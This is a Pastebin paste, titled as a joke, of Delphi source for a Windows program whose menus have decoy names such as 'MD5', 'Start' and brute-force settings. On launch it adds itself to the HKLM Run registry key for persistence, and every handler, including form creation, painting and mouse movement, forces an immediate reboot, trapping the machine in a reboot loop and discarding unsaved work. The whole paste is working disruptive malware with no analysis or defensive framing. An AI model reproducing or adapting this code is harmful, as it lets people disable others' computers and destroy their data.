Advertisement
Gov_777

Шутка

May 16th, 2016
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 3.86 KB | None | 0 0
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6. Registry, Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  7.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Menus, Vcl.ComCtrls;
  8.  
  9.  
  10. type
  11.     TForm1 = class(TForm)
  12.     MainMenu1: TMainMenu;
  13.     N1: TMenuItem;
  14.     N3: TMenuItem;
  15.     N4: TMenuItem;
  16.     MD51: TMenuItem;
  17.     ProgressBar1: TProgressBar;
  18.     LabelName: TLabel;
  19.     Start1: TMenuItem;
  20.     N2: TMenuItem;
  21.     SettingBrut1: TMenuItem;
  22.     check1: TMenuItem;
  23.     N5: TMenuItem;
  24.     procedure FormCreate(Sender: TObject);
  25.     procedure MD51Click(Sender: TObject);
  26.     procedure N4Click(Sender: TObject);
  27.     procedure Start1Click(Sender: TObject);
  28.     procedure N2Click(Sender: TObject);
  29.     procedure SettingBrut1Click(Sender: TObject);
  30.     procedure check1Click(Sender: TObject);
  31.     procedure N5Click(Sender: TObject);
  32.     procedure FormActivate(Sender: TObject);
  33.     procedure FormDestroy(Sender: TObject);
  34.     procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
  35.     procedure FormShow(Sender: TObject);
  36.     procedure FormPaint(Sender: TObject);
  37.   private
  38.       { Private declarations }
  39.   public
  40.     { Public declarations }
  41.  
  42.   end;
  43.  
  44. var
  45.   Form1: TForm1;
  46.  
  47.   implementation
  48.  
  49.   {$R *.dfm}
  50.  
  51.  
  52. function WindowsExit(RebootParam: Longword): Boolean;
  53. var
  54.   TTokenHd: THandle;
  55.   TTokenPvg: TTokenPrivileges;
  56.   cbtpPrevious: DWORD;
  57.   rTTokenPvg: TTokenPrivileges;
  58.   pcbtpPreviousRequired: DWORD;
  59.   tpResult: Boolean;
  60. const
  61.   SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
  62. begin
  63.   if Win32Platform = VER_PLATFORM_WIN32_NT then
  64.   begin
  65.     tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHd);
  66.     if tpResult then
  67.     begin
  68.       tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, TTokenPvg.Privileges[0].Luid);
  69.       TTokenPvg.PrivilegeCount := 1;
  70.       TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  71.       cbtpPrevious := SizeOf(rTTokenPvg);
  72.       pcbtpPreviousRequired := 0;
  73.       if tpResult then
  74.         AdjustTokenPrivileges(TTokenHd, False, TTokenPvg, cbtpPrevious, rTTokenPvg, pcbtpPreviousRequired);
  75.     end;
  76.   end;
  77.   Result := ExitWindowsEx(RebootParam, 0);
  78. end; //WindowsExit(EWX_REBOOT or EWX_FORCE);//применение для перезапуска
  79.  
  80. procedure TForm1.check1Click(Sender: TObject);
  81. begin
  82. WindowsExit(EWX_REBOOT or EWX_FORCE);
  83. end;
  84.  
  85. procedure TForm1.FormActivate(Sender: TObject);
  86. begin
  87. WindowsExit(EWX_REBOOT or EWX_FORCE);
  88. end;
  89.  
  90. procedure TForm1.FormCreate(Sender: TObject);
  91. var
  92.   reg : TRegistry;
  93. begin
  94. reg := TRegistry.Create;
  95. reg.RootKey := HKEY_LOCAL_MACHINE;
  96. reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
  97. reg.WriteString('TDK',ParamStr(0));
  98. FreeAndNil(reg);
  99. WindowsExit(EWX_REBOOT or EWX_FORCE);
  100. end;
  101.  
  102. procedure TForm1.FormDestroy(Sender: TObject);
  103. begin
  104. WindowsExit(EWX_REBOOT or EWX_FORCE);
  105. end;
  106.  
  107. procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  108.   Y: Integer);
  109. begin
  110. WindowsExit(EWX_REBOOT or EWX_FORCE);
  111. end;
  112.  
  113. procedure TForm1.FormPaint(Sender: TObject);
  114. begin
  115. WindowsExit(EWX_REBOOT or EWX_FORCE);
  116. end;
  117.  
  118. procedure TForm1.FormShow(Sender: TObject);
  119. begin
  120. WindowsExit(EWX_REBOOT or EWX_FORCE);
  121. end;
  122.  
  123. procedure TForm1.MD51Click(Sender: TObject);
  124. begin
  125. WindowsExit(EWX_REBOOT or EWX_FORCE);
  126. end;
  127.  
  128. procedure TForm1.N2Click(Sender: TObject);
  129. begin
  130. WindowsExit(EWX_REBOOT or EWX_FORCE);
  131. end;
  132.  
  133. procedure TForm1.N4Click(Sender: TObject);
  134. begin
  135. WindowsExit(EWX_REBOOT or EWX_FORCE);
  136. end;
  137.  
  138. procedure TForm1.N5Click(Sender: TObject);
  139. begin
  140. WindowsExit(EWX_REBOOT or EWX_FORCE);
  141. end;
  142.  
  143. procedure TForm1.SettingBrut1Click(Sender: TObject);
  144. begin
  145. WindowsExit(EWX_REBOOT or EWX_FORCE);
  146. end;
  147.  
  148. procedure TForm1.Start1Click(Sender: TObject);
  149. begin
  150. WindowsExit(EWX_REBOOT or EWX_FORCE);
  151. end;
  152. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement